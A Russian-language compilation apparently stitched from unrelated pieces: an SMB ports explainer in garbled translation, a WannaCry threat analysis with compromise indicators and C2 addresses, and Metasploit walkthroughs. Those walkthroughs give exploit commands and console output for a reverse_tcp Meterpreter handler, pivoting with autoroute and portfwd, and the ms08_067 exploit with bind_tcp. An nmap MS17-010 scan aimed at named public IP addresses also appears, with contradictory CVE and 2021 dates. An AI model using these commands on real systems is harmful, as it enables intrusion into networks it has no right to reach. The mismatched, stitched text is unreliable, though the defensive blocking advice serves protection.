Что вы подразумеваете под smb-портами 445 и 139?
SMB – это сетевой протокол для обмена файлами. Для связи с другими системами требуются сетевые порты SMB на сервере или компьютере. Для этого он использует порты SMB, порт 445 или 139.
- Порт 139Первоначально SMB использовался для запуска поверх NetBIOS с портом 139. Здесь NetBIOS относится к более старому транспортному уровню, который позволяет системам Windows взаимодействовать друг с другом, совместно используя аналогичную сеть.
- Порт 445: Более поздние версии SMB, появившиеся после Windows 2000, начали использовать IP-порт 445 в верхних стеках TCK. Благодаря TCP он позволяет SMB работать через Интернет.
IP-порт 139 технически называется какNBT через IP, ‘в то время как IP-порт 445 называется’SMB через IP». Здесь SMB относится кБлоки сообщений сервера.» На современном языке SMB также называетсяОбщая Интернет Файловая Система.
Большая часть использования SMB касалась систем, работающих на Microsoft Windows. Здесь эта сеть стала известна какСеть Microsoft Windows’до последующего введения Active Directory. Он работает на верхних сетевых уровнях Session различными способами.
Например, SMB работает непосредственно через IP / TCP в Windows без требования NetBIOS через IP / TCP. В этом случае вы будете использовать IP-порт 445. На других компьютерах вы будете сталкиваться с приложениями и службами, использующими IP-порт 139. Это означает, что межсетевой экран портов SMB работает с NetBIOS через IP / TCP.
NetBIOS относится к базовой системе ввода-вывода сети. Этот программный протокол позволяет настольным компьютерам, приложениям и ПК в локальной сети (локальной сети) взаимодействовать друг с другом или с сетевым оборудованием. Это даже позволяет им передавать данные по сети.
Имена NetBIOS имеют длину до 16 символов и обычно отличаются от имени системы. Когда клиент отправляет команду для вызова другого (сервера), два приложения начинают конференцию NetBIOS через порт TCP 139.
Злоумышленники признают, что IP-порт 445 восприимчив и имеет различные недостатки. Пример неправильного использования порта SMB – сравнительно тихий NetBIOS-черви’ внешность. Медленно, эти черви сканируют Интернет в манере, в то время как порт использует такие инструменты, как PsExec для перевода себя в новую систему жертвы.
Wannacry: анализ, индикаторы компрометации и рекомендации по предотвращению
В прошлую пятницу, аккурат под конец дня, когда все администраторы и специалисты по безопасности засобирались по домам и дачам, мир облетела новость о начале беспрецедентной атаке WannaCry. По истечении пары дней уже можно сказать, что не зря название этой атаки ассоциируется с песней Кита Урбана «Tonight I Wanna Cry» («Сегодня я хочу плакать»). Ее масштабы оказались достаточно зловещими — на момент написания число жертв
превысило
230 тысяч и это число может вырасти, когда многие вернутся с выходных и отпусков и включат свои домашние и рабочие компьютеры. Мы, в нашем подразделении Cisco Talos, еще в пятницу
опубликовали
свое исследование данной вредоносной программы и сейчас хотели бы поделиться отдельными ключевыми моментами с пользователям Хабра.
WannyCry — это червь-шифровальщик, отличительной особенностью которого является функция саморазмножения, обычно отсутствующая у классических шифровальщиков. Это значит, что для заражения вам
не требуется никуда кликать
, ничего нажимать и ничего открывать. Достаточно иметь просто уязвимый, непропатченный и подключенный к Интернет (в том числе и через другие компьютеры, например, в локальной сети) компьютер на базе платформы Windows, чтобы стать жертвой WannaCry. После заражения компьютера жертва видит предложение об оплате определенной суммы денег (разные вариации WannaCry требуют разные суммы — от 300 до 600 долларов) за возврат доступа к файлам. Предложение выводится на разных языках, включая и русский. Интересный момент — сообщение о выкупе является не просто текстовым файлом, картинкой или HTA-файлом, как обычно у шифровальщиков, а файлом исполняемым.
Обратите внимание на этот момент —
от пользователя не требуется никакой реакции
! За счет чего это стало возможным? Тут все просто — авторы WannaCry воспользовались утечкой из ShadowBrokers, в результате которой миру стали известны множество ранее неизвестных уязвимостей и способов проведения атак. Среди них была и уязвимость
ETERNALBLUE
и связанный с ней бэкдор DOUBLEPULSAR. Первая позволяла через уязвимый SMB получать удаленный доступ к компьютеру и незаметно устанавливать на него программное обеспечение. Так и устанавливается шифровальщик WannyCry. Компания Microsoft еще в марте
выпустила
соответствующий патч для данной уязвимости, но, как показывает опыт, многие администраторы по разным причинам не удосужились его установить на свои компьютеры. Уязвимость ETERNALBLUE присутствует на всех версиях Windows, исключая Windows 10. Учитывая наличие в мире большого числа уже неподдерживаемых компанией операционных систем семейства Windows (Windows XP, Windows 8, Windows Server 2003) и масштаб атаки, Microsoft пошла на беспрецедентный шаг и
выпустила
патчи и для этих ОС.
Обратите внимание, что если у вас установлен соответствующий патч или иным образом блокируется использование данной уязвимости, например, с помощью IPS), то это не значит, что вы неподвержены WannaCry. Шифровальщик и в этом случае сможет быть запущен, но для этого уже понадобится реакция пользователя, привычная для работы классических локеров-вымогателей. Установка патча Microsoft блокирует только удаленное заражение и распространение вредоносного кода.
Вредоносная программа WannaCry ищет уязвимые компьютеры, путем сканирования открытого извне TCP-порта 445 (Server Message Block/SMB). Поэтому неплохой идеей (если ваши процессы допускают это) было бы заблокировать доступ по этому порту (а также по 139-му) из Интернет на вашем межсетевом экране или маршрутизаторе. Для маршрутизаторов Cisco соответствующий ACL может выглядеть следующим образом:
access-list 110 deny tcp any any eq 445
access-list 110 deny tcp any any eq 139
Однако блокирование данных портов извне не означает полной защиты от внутреннего заражения. Если какой-либо из ваших пользователей принесет домашний ноутбук, содержащий WannaCry, и подключит его к внутренней локальной сети (а мы уже получили запросы от некоторых заказчиков, у которых генеральные директора со своими зараженными компьютерами приехали в выходные на работу, вызвав туда же «на ковер» и ИТ-персонал), то WannaCry начнет искать новые жертвы внутри организации.
Наш анализ показывает, что в паре с уязвимостью ETERNALBLUE действует и бэкдор DOUBLEPULSAR из утечки ShadowBrokers, который позволяет получать удаленный доступ и выполнять произвольный код на предварительно скомпрометированной машине. Обычно после успешной эксплуатации уязвимости ETERNALBLUE устанавливается бэкдор DOUBLEPULSAR и уже с его помощью устанавливается шифровальщик. Если успешно проэксплуатировать ETERNALBLUE не удается, но при этом на атакуемом узле находится копия DOUBLEPULSAR, то код шифровальщика устанавливается через него.
После успешной инсталляции и зашифрования файлов WannaCry пытается установить соединение с узлами сети Tor для передачи трафика через нее и попытки скрыть своих истинных «хозяев». Указанные ниже IP-адреса узлов Tor были обнаружены специалистами Cisco Talos, но это не финальный список. У наших коллег из других компаний списки используемых узлов Tor имеют другие адреса. При этом их анализ показывает, что большинство из них имеет старую историю и уже применялись в тех или иных вредоносных активностях. Кроме того, стоит помнить, что указанные адреса не будут применяться постоянно — их срок жизни для текущей версии WannaCry составит несколько недель. Поэтому стоит регулярно отслеживать информацию о данной угрозе и обновлять соответствующие индикаторы компрометации.
Несмотря на то, что с момента начала эпидемии прошло всего пару дней и пострадало уже несколько сотен тысяч компьютеров, злоумышленники успели выпустить несколько новых версий своего вредоносного творения, преимущественно в части шифровальщика. Текущая версия WannaCry содержит функцию «kill switch», то есть проверку наличия определенного домена в Интернет, при обнаружении которого вредоносный код не устанавливался на компьютер жертвы. Этот домен — iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com (в новых модификациях WannaCry возможно использование и других доменов) был идентифицирован одним из исследователей и зарегистрирован им для «перехвата» управления вредоносной программой. Как показал анализ обращений к данному домену с помощью сервиса Cisco OpenDNS Investigate, около 200 тысяч компьютеров за прошедшие два дня были спасены от заражения.
Пока не обнаружено модификаций WannaCry без функции «kill switch» (хотя попытки предпринимались, но пока неуспешные), но это не означает, что ее быть не может. В любом случае история еще не закончилась. В понедельник многие включат свои компьютеры после отпуска и выходных и число жертв у данной вредоносной программы может еще увеличиться. Более того, наш анализ показывает, что архитектура у WannaCry модульная и может быть использована для доставки и использования других вредоносных модулей.
Стоит обратить внимание, что на момент написания заметки, пока не удалось найти способ расшифрования зашифрованных файлов. Это означает, что в случае заражения пользователя и отсутствия у него резервной копии своих данных, вероятность возврата доступа к своим файлам невысока (даже в случае выплаты выкупа, что не гарантирует получения ключа для расшифрования). Для шифрования используется 2048-мибитный ключ RSA, а «под раздачу» попадают файлы со следующими расширениями:
.der, .pfx, .key, .crt, .csr, .p12, .pem, .odt, .sxw, .stw, .3ds, .max, .3dm, .ods, .sxc, .stc, .dif, .slk, .wb2, .odp, .sxd, .std, .sxm, .sqlite3, .sqlitedb, .sql, .accdb, .mdb, .dbf, .odb, .mdf, .ldf, .cpp, .pas, .asm, .cmd, .bat, .vbs, .sch, .jsp, .php, .asp, .java, .jar, .class, .mp3, .wav, .swf, .fla, .wmv, .mpg, .vob, .mpeg, .asf, .avi, .mov, .mp4, .mkv, .flv, .wma, .mid, .m3u, .m4u, .svg, .psd, .tiff, .tif, .raw, .gif, .png, .bmp, .jpg, .jpeg, .iso, .backup, .zip, .rar, .tgz, .tar, .bak, .ARC, .vmdk, .vdi, .sldm, .sldx, .sti, .sxi, .dwg, .pdf, .wk1, .wks, .rtf, .csv, .txt, .msg, .pst, .ppsx, .ppsm, .pps, .pot, .pptm, .pptx, .ppt, .xltm, .xltx, .xlc, .xlm, .xlt, .xlw, .xlsb, .xlsm, .xlsx, .xls, .dotm, .dot, .docm, .docx, .doc
Как можно заметить, шифруются офисные файлы Excel, Word, PowerPoint, Open Office, музыкальные и видео файлы, архивы, сообщения e-mail и почтовые архивы/базы данных, файлы баз данных MS SQL, MS Access, графические файлы MS Visio, Photoshop, а также виртуальные машины и другие.
Сейчас пока рано ставить точку в истории с WannaCry и впереди нас ждет более детальный анализ этой вредоносной программы. Пока же мы можем дать ряд рекомендаций по защите от нее:
- Установите, как минимум, патч MS17-010, закрывающий уязвимость ETERNALBLUE в SMB. Лучше обновить все свои компьютеры с ОС Windows. В промышленных сетях, где установка патчей имеет свои особенности, стоит уточнить у производителя своей АСУ ТП, не повлияет ли установка этого патча на функционирование системы и технологического процесса. Также можно вовсе заблокировать поддержку протокола SMB, если это допустимо в конкретной сети и для конкретных ИТ-процессов и приложений.
- Заблокируйте внешние соединения из Интернет по протоколам SMB/NetBIOS — для этого необходимо закрыть 137-й, 139-й и 445-й TCP-порты, а также 137-й и 138-й UDP-порты.
- Задействуйте системы резервного копирования (даже копирование важных файлов на обычную флешку или внешний жесткий диск в ручном режиме уже будет нелишним).
- Используйте актуальные, поддерживаемые версии ОС, для которых выпускаются обновления безопасности.
- Используйте средства защиты персональных компьютеров — от традиционных антивирусов с регулярно обновляемыми базами сигнатур до средств защиты следующего поколения (EDR, STAP, BDS и т.п. наименования).
- Контролируйте и блокируйте трафик к узлам сети Tor, которые часто используются шифровальщиками и иными вредоносными программами.
- Используйте сервисы Threat Intelligence, которые позволят вам быть в курсе динамически изменяющегося ландшафта угроз и постоянно обнволять свои средства защиты новыми индикаторами компрометации.
Для тех пользователей, кто применяет решения Cisco по кибербезопасности можем сказать, что все наши решения могут бороться с данной угрозой:
- Advanced Malware Protection (AMP), особенно AMP for Endpoints, идеально подходит для обнаружения и предотвращения данной вредоносной программы.
- Cloud Web Security (CWS) и Web Security Appliance (WSA) детектируют обращение к вредоносным доменам «kill switch».
- Cisco Firepower NGIPS имеет актуальные сигнатуры для обнаружения и блокирования данной угрозы.
- Cisco Firepower NGFW (а также Cisco ASA) может блокировать доступ к 139-му и 445-му TCP-портам, а также имеет регулярно обновляемый список узлов Tor для отслеживания взаимодействия с этой сетью и блокирования исходящих соединений.
- AMP Threat Grid помог проанализировать вредоносное поведение WannaCry, а также может это сделать и для новых модификаций этой вредоносной программы.
- OpenDNS Umbrella помогает распознавать взаимодействие с доменами, ассоциированными с данной угрозой. Вы можете воспользоваться бесплатной версией OpenDNS Home, которая позволит повысить уровень защиты домашних пользователей.
- Stealthwatch детектирует сетевую активность, связанную со сканированием уязвимых узлов, распространение вредоносного кода по сети, а также взаимодействие с командными серверами (C2 или CnC), в том числе и с сетью Tor.
- Identity Service Engine (ISE) может отслеживать непропатченные узлы в локальной сети и блокировать им доступ или локализовывать, перенаправляя в карантинную подсеть. Также интеграция ISE со сканером безопасности Qualys (TC-NAC) позволяет идентифицировать уязвимые к ETERNALBLUE узлы и также помещать их в карантин.
Пользователям Snort стоит знать, что с данной угрозой помогают бороться правила 42329-42332, 42340 и 41978, доступные в рамках пакета обновления на
Snort.org
. Для пользователей Cisco Legacy IPS подготовлен IPS Signature Pack S982, в котором с WannaCry борются 7958-0 и 7958-1.
Дополнительно хотим указать индикаторы компрометации для WannaCry, которые мы идентифицировали в рамках проведенного нами анализа:
Имена файлов:
d5e0e8694ddc0548d8e6b87c83d50f4ab85c1debadb106d6a6a794c3e746f4fa b.wnry
055c7760512c98c8d51e4427227fe2a7ea3b34ee63178fe78631fa8aa6d15622 c.wnry
402751fa49e0cb68fe052cb3db87b05e71c1d950984d339940cf6b29409f2a7c r.wnry
e18fdd912dfe5b45776e68d578c3af3547886cf1353d7086c8bee037436dff4b s.wnry
4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79 taskdl.exe
2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d taskse.exe
97ebce49b14c46bebc9ec2448d00e1e397123b256e2be9eba5140688e7bc0ae6 t.wnry
b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25 u.wnry
Наблюдавшиеся IP-адреса:
188[.]166[.]23[.]127:443 — Tor Exit Node
193[.]23[.]244[.]244:443 — Tor Exit Node
2[.]3[.]69[.]209:9001 — Tor Exit Node
146[.]0[.]32[.]144:9001 — Tor Exit Node
50[.]7[.]161[.]218:9001 — Tor Exit Node
128.31.0[.]39 — Tor Exit Node
213.61.66[.]116 — Tor Exit Node
212.47.232[.]237 — Tor Exit Node
81.30.158[.]223 — Tor Exit Node
79.172.193[.]32 — Tor Exit Node
Tor C2:
xxlvbrloxvriy2c5.onion
cwwnhwhlz52maqm7.onion
gx7ekbenv2riucmf.onion
57g7spgrzlojinas.onion
76jdd2ir2embyv47.onion
Список наблюдаемых в рамках деятельности WannaCry хешей:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
c365ddaa345cfcaff3d629505572a484cff5221933d68e4a52130b8bb7badaf9
09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae0dc94d0c238ee36421cafa
0a73291ab5607aef7db23863cf8e72f55bcb3c273bb47f00edf011515aeb5894
428f22a9afd2797ede7c0583d34a052c32693cbb55f567a60298587b6e675c6f
5c1f4f69c45cff9725d9969f9ffcf79d07bd0f624e06cfa5bcbacd2211046ed6
62d828ee000e44f670ba322644c2351fe31af5b88a98f2b2ce27e423dcf1d1b1
72af12d8139a80f317e851a60027fdf208871ed334c12637f49d819ab4b033dd
85ce324b8f78021ecfc9b811c748f19b82e61bb093ff64f2eab457f9ef19b186
a1d9cd6f189beff28a0a49b10f8fe4510128471f004b3e4283ddc7f78594906b
a93ee7ea13238bd038bcbec635f39619db566145498fe6e0ea60e6e76d614bd3
b43b234012b8233b3df6adb7c0a3b2b13cc2354dd6de27e092873bf58af2693c
eb47cd6a937221411bb8daf35900a9897fb234160087089a064066a65f42bcd4
24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
2c2d8bc91564050cf073745f1b117f4ffdd6470e87166abdfcd10ecdff040a2e
7a828afd2abf153d840938090d498072b7e507c7021e4cdd8c6baf727cafc545
a897345b68191fd36f8cefb52e6a77acb2367432abb648b9ae0a9d708406de5b
fb0b6044347e972e21b6c376e37e1115dab494a2c6b9fb28b92b1e45b45d0ebc
9588f2ef06b7e1c8509f32d8eddfa18041a9cc15b1c90d6da484a39f8dcdf967
b43b234012b8233b3df6adb7c0a3b2b13cc2354dd6de27e092873bf58af2693c
4186675cb6706f9d51167fb0f14cd3f8fcfb0065093f62b10a15f7d9a6c8d982
09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae0dc94d0c238ee36421cafa
Дополнительная информация:
UPDATE: По мере появления новых сведений по данной вредоносной программе мы будем вносить изменения в данный текст.
Виды shell: полезная нагрузка meterpreter и другие
В настоящее время считается, что полнофункциональный Meterpreter (МР) существует только под Windows, но на самом деле это не совсем так. Существует еще несколько версий MP, реализованных на PHP и JAVA. Впрочем, ты и сам можешь стать автором «полезной нагрузки» — например, скомпилировать TCL-сценарий shell-кода для Cisco IOS с помощью утилиты tclpro.exe и в дальнейшем использовать его для жестоких игр с железными кошками. Как так? Сам не понимаю :).
Стандартную полезную нагрузку MP можно использовать почти со всеми Windows-эксплойтами, включенными в Metasploit Framework, выбрав одну из следующих полезных нагрузок:
Кратко поясню суть каждой.
- bind_meterpreter— резервирует порт на целевой машине и ожидает соединения. После установления соединения происходит загрузка Meterpreter’a на целевой хост, текущее соединение продолжает использоваться для связи с удаленной машиной.
- reverse_meterpreter— сама соединяется с предварительно заданным хостом по указанному порту для дальнейшей загрузки Meterpreter’a. Затем установленное соединение используется для связи с удаленной машиной. Все хорошо, но для успешной реализации данного метода нам понадобится реальный IP-адрес (или устанавливай проброс нужных тебе портов через NAT).
- find_tag— осуществляет поиск дескриптора службы, обработанной эксплойтом, и использует его для загрузки Meterpreter’a на удаленную машину, после чего существующее соединение будет использовано для связи с ней. Этот вид полезной нагрузки является особенно интересным, поскольку тут не требуется открывать новое соединение — таким образом, существует возможность обхода практически любых конфигураций брандмауэров.
- bind_tcp— это обычный командный интерпретатор типа cmd.exe, естественно, без всяких дополнительных наворотов, как у Meterpreter`a. Он просто резервирует порт на целевой машине и загружает стандартную оболочку.
В зависимости от цели исследования системы может быть использована любая из этих полезных нагрузок. Так чего же мы ждем? Выбираем цель из списка, полученного в результате сканирования nmap, и подключаемся к ней. Для простоты эксперимента будем использовать простой командный интерпретатор в качестве полезной нагрузки.
Если уязвимость на удаленной машине существует, то мы получим доступ к шеллу (cmd.exe) этого компьютера, и в окне появится сообщение о том, что сессия успешно установлена. В случае, когда msf определил ОС как Windows 7, можно попробовать использовать 64-разрядные полезные нагрузки, которые имеются в соответствующем разделе (ищем через меню GUI), или вызвать нагрузку через консоль. Пример работы эксплойта с полезной нагрузкой можно посмотреть на видео (ищи ролик на нашем диске).
Компрометация первого узла проброса (pivot) и проброс портов
Согласно сценарию атаки, мы получили шелл метерпретера на машине RD, которая находится в DMZ и, как выяснилось, имеет два сетевых интерфейса.
Как мы видим — роутер на схеме не имеет маршрута между нужными злоумышленнику сетями.
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.0.20
LHOST => 172.16.0.20
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > run
[*] Started reverse TCP handler on 172.16.0.20:1234
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 172.16.0.11
[*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)
meterpreter > ifconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:e1:3f:af
MTU : 1500
IPv4 Address : 172.16.0.11
IPv4 Netmask : 255.255.255.0
Interface 19
============
Name : Intel(R) PRO/1000 MT Desktop Adapter #2
Hardware MAC : 08:00:27:7f:3c:fe
MTU : 1500
IPv4 Address : 7.7.7.11
IPv4 Netmask : 255.255.255.0
Далее, согласно сценарию, атакующий хочет получить доступ к подсети за интерфейсом 7.7.7.0/24. Для этого ему нужно задать правило маршрутизации для хоста RD, т.е. превратить скомпрометированный хост в pivot.
Это очень просто сделать средствами полезной нагрузки (payload) метерпретер. Следующая команда может быть использована для создания туннеля через существующую сессию метерпретера.
meterpreter > run autoroute -s 7.7.7.0/24
[*] Adding a route to 7.7.7.0/255.255.255.0...
[ ] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
7.7.7.0 255.255.255.0 Session 2
meterpreter >
Согласно заданному правилу, пока сессия метерпретера с ID 2 запущена, другие модули Metasploit Framework имеют доступ к сети 7.7.7.0/24. Другими словами, после выполнения команд выше, IP адрес хоста JC будет определен, если мы воспользуемся таким модулем, как arp_scanner. JC – это хост, работающий во внутренней сети и имеющий IP-адрес 7.7.7.20.
meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24
[*] Running module against DISCORDIA
[*] ARP Scanning 7.7.7.0/24
[*] IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS)
[*] IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS)
[*] IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS)
[*] IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS)
meterpreter >
Мы узнали IP-адреса доступных хостов в сети 7.7.7.0/24.
Отключение портов 135 и 445 / сканирование на уязвимость nmap |
Согласно отчетам антивирусных компаний, wcrypt проникает через компьютеры по средствам портов SMB [Server Message Block].
Чтобы предотвратить проникновение, мы блокируем порты 135 и 445, через который проникает вирус (в большинстве случаев, они не используются обычными пользователями, если только не используются старые принтеры).
Чтобы сделать это, откройте консоль с правами администратора [cmd.exe => запуск от имени администратора].
И мы выполняем поочередно 2 команды (после каждой команды должно быть состояние OK).
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name=”Block_TCP-135″ netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name=”Block_TCP-445″
Отключить поддержку SMBv1 полностью. Уязвимость может также быть закрыта, полностью отключив поддержку SMBv1. Выполните эту команду в cmd [win r => cmd => запуск от имени администратора]
dism /online /norestart /disable-feature /featurename:SMB1Protocol
1. Используйте NMAP для сканирования уязвимости Wcrypt или Программы-вымогателя WannaCry.
Если у вас нет сканера сети nmap, загрузите и установите NMAP c https://nmap.org/.
2. Скачайте скрипт https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/smb-vuln-ms17-010.nse
3. Сохраните скрипт Nmap NSE по директориям:
Windows – C:Program Files (x86)Nmapscripts
Linux –/usr/share/nmap/scripts/или/usr/local/share/nmap/scripts/
OSX –/opt/local/share/nmap/scripts/
4.Протестируйте сценарий на известных уязвимых устройствах, таких как 202.157.185.31 или 64.17.101.90 направленную на вашу сеть.
nmap -sC -p 445 -max-hostgroup 3 -open -script smb-vuln-ms17-010.nse 64.17.101.90
Starting Nmap 7.40 ( https://nmap.org ) at 2021-05-15 10:30 South Africa Standard Time Nmap scan report for ns.bvtsvc.com (64.17.101.90) Host is up (0.22s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2021-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2021-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-0143 |_ https://blogs.technet.microsoft.com/msrc/2021/05/12/customer-guidance-for-wannacrypt-attacks/ Nmap done: 1 IP address (1 host up) scanned in 4.63 seconds
Подготовка набора правил брандмауэра
Чтобы составить набор правил брандмауэра — особенно в сложных ситуациях, например в демилитаризованной зоне (DMZ), — следует применять все перечисленные выше методы оценки сетевого трафика. С их помощью можно точно установить задействованные сетевые порты.
На основе этих данных строится набор правил брандмауэра. В DMZ изолируются компьютеры, которые принимают прямые соединения с Internet (например, внешние почтовые серверы, Web-серверы) от других серверов во внутренней сети. Компьютеры в DMZ также должны устанавливать соединения с некоторыми компьютерами во внутренней сети, поэтому необходимо создать набор правил брандмауэра, который разрешает такое соединение.
Рассмотрим два метода, с помощью которых можно определить списки ACL для правил брандмауэра в тестовой DMZ. Предположим, что Web-серверу в DMZ требуется извлечь данные из системы Microsoft SQL Server во внутренней сети. Вместо туманного правила, которое разрешает соединение между IP-адресом Web-сервера и IP-адресом системы SQL Server, следует составить списки ACL, которые разрешают только обращения к SQL Server.
Один из способов подготовки такого ACL — контролировать монитор порта и составить ACL на основе анализа обнаруженного трафика. Для этого нужно установить монитор порта на DMZ-интерфейсе брандмауэра и активизировать анализатор сети. На данном этапе следует убедиться, что между DMZ и внутренней подсетью правила брандмауэра не действуют.
Затем требуется сгенерировать типичный сетевой трафик с помощью Web-приложения, как это делали бы пользователи. После просмотра данных сетевого анализатора нужно записать все уникальные IP-адреса и соединения сетевого порта. Наконец, на основе собранной информации следует составить и разместить списки ACL брандмауэра.
В данном примере требуется, чтобы Web-сервер инициировал соединения с SQL Server. SQL Server использует TCP-порт 1433, поэтому в результатах сетевого анализатора должны быть пакеты, направляемые в этот порт. Однако, если Web-сервер является членом домена, DC которого находятся во внутренней сети, можно ожидать интенсивного сетевого трафика от Web-сервера к DC. После анализа результатов анализатора следует разрешить в ACL брандмауэра весь необходимый сетевой трафик.
Второй метод обнаружения портов, необходимых Web-серверу для связи с машиной SQL Server, — метод проб и ошибок, который заключается в создании и развертывании ACL, запрещающего трафик между DMZ и внутренней сетью.
Начав использовать Web-сервер, следует отыскать в журналах брандмауэра блокированные пакеты (вероятно, их будет много). Для каждого блокированного пакета необходимо исследовать и оценить адреса источника и назначения, а также информацию о сетевом порте.
При помощи брандмауэра
Брандмауэр – это программа, занимающаяся обеспечением безопасности пользователя, работающего с интернетом, поэтому с помощью неё можно заблокировать потенциально опасные порты. В Windows 10 есть встроенный брандмауэр, который справится с этой задачей:
- Разверните поисковую строку Windows, нажав на иконку в виде лупы, находящуюся в левом нижнем углу экрана. Пропишите запрос «Брандмауэр Windows» и разверните найденный вариант.
Открываем параметры брандмауэра
- В развернувшемся окне панели управления нажмите на строчку «Дополнительные параметры».
Открываем дополнительные параметры брандмауэра
- Перейдите в папку «Правила для входящих подключений» и начните создание нового правила.
Нажимаем кнопку «Создать правило»
- Укажите, что правило будет создаваться для порта, и перейдите к следующему шагу.
Указываем вариант «Для порта»
- Поставьте галочку напротив строки «Протокол TCP» и пропишите порт 445.
Выбираем протокол TCP и порт 445
- Выберите вариант «Блокировать подключение».
Выбираем «Блокировка подключения»
- Не снимайте галочки со всех трёх пунктов, пусть блокировка распространяется на всё уровни.
Оставляем применение созданного правила для всех профилей
- Пропишите понятное название и описание, которое в будущем позволит вам вспомнить, за что отвечает созданное правило – вдруг вам или другому пользователю придётся разблокировать этот порт.
Указываем имя и описание для задачи
Проброс портов
Проброс портов – это один из базовых шагов во время туннелирования. Данная техника используется, когда сервис внутри обнаруженной сети недоступен напрямую. Это происходит потому что наша маршрутизация однонаправленная. Мы знаем, как получить доступ к внутреннему сервису, но сервис не имеет соответствующего маршрута к машине атакующего.
Поэтому мы перенаправим порт с машины атакующего на порт целевого сервиса через сессию метерпретера. Этот проброс порта будет работать, пока существует процесс метерпретера на скомпрометированной машине (на pivot-е).
Стоит заметить, что туннель, который был создан при помощи autoroute существует только к контексте фреймворка metasploit и доступен для других модулей. Но если мы хотим использовать туннель другими утилитами, выходящими за пределы фреймворка, нам нужны инструменты вроде proxychains и техники, такие как port forwarding.
Проброс порта может быть выполнен при помощи модуля portfwd, который является одним из post-модулей фреймворка Metasploit.
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> Forward: local host to listen on (optional). Remote: local host to connect to.
-R Indicates a reverse port forward.
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to.
meterpreter >
Когда мы будем отправлять запрос на подключение к нашему локальному порту 2323, вводя в браузере соответствующий URL, наш запрос будет перенаправлен на порт 80 узла 7.7.7.20 через Metasploit Framework. Ранее при помощи nmap и proxychains мы обнаружили, что во внутренней сети есть веб-сервис, работающий на TCP порте 80.
meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20
[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80
meterpreter >
Активные маршруты могут быть просмотрены командой portfwd list
meterpreter > portfwd list
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 172.16.0.20:2323 7.7.7.20:80 Forward
1 total active port forwards.
meterpreter >
Теперь попробуем получить доступ к веб-сервису Eash File Sharing Web Server.
Уязвимость ms08-067 и bind tcp
Metasploit Framework имеет модуль для эксплуатации уязвимости exploit/windows/smb/ms08_067_netapi.
Важно заметить, что мы используем пейлоад bind_tcp, т.к. у нас не определены маршруты в обе стороны и целевая система не сможет выполнить обратное подключение на машину атакующего, т.к. не имеет соответствующего маршрута. Таким образом, целевая машина будет просто ждать подключения на порт, который мы укажем в настройках пейлоада bind_tcp. Ниже на схеме указана последовательность шагов при использовании прямого и обратного подключений.
https://www.youtube.com/watch?v=
Выберем модуль для эксплуатации MS08-067, пейлоад bind_tcp и скомпрометируем вторую машину:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set rhost 7.7.7.20
rhost => 7.7.7.20
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 7.7.7.20 yes The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/bind_tcp):
